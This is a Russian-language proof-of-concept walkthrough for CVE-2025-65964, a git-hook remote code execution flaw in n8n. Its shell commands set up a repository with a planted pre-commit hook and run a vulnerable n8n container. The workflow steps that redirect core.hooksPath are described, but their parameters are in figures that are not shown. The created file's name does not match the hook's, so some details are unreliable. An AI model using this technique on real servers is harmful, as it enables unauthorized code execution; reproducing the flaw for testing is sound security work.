
Воспроизведение CVE-2025-65964
Сначала подготовьте репозиторий, содержащий вредоносный файл
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <仓库地址>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Затем запустите локально Docker-контейнер с уязвимой версией n8n. Уязвимость затрагивает очень широкий диапазон версий: 0.123.1 ≤ n8n < 1.119.2. Здесь мы используем версию 1.64.3
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Сначала полная схема атаки для версии 1.64.3 выглядит следующим образом
Параметры показаны на рисунке
Этот узел и следующий узел нужны потому, что git позволяет выполнить Commit только при изменении файлов, поэтому нам сначала нужно записать в репозиторий какой-нибудь файл.
Параметры показаны на рисунке

Записываем файл в репозиторий
Параметры показаны на рисунке

Эти два узла нужны, потому что для commit требуются email и username, можно просто выдумать оба
Параметры показаны на рисунке


Ключевой шаг: указываем core.hooksPath на скачанную нами вредоносную директорию, заставляя git при выполнении hook искать её в заданной нами директории (по умолчанию это .git/hooks)
(По ощущению, это похоже на перехват LD_PRELOAD и тому подобное)
Параметры показаны на рисунке

Этот шаг используется для запуска уязвимости и выполнения подменённого hook
Параметры показаны на рисунке

После настройки этих узлов просто выполните рабочий процесс
Затем в docker видно, что вредоносный файл pwned_without_exec_node уже создан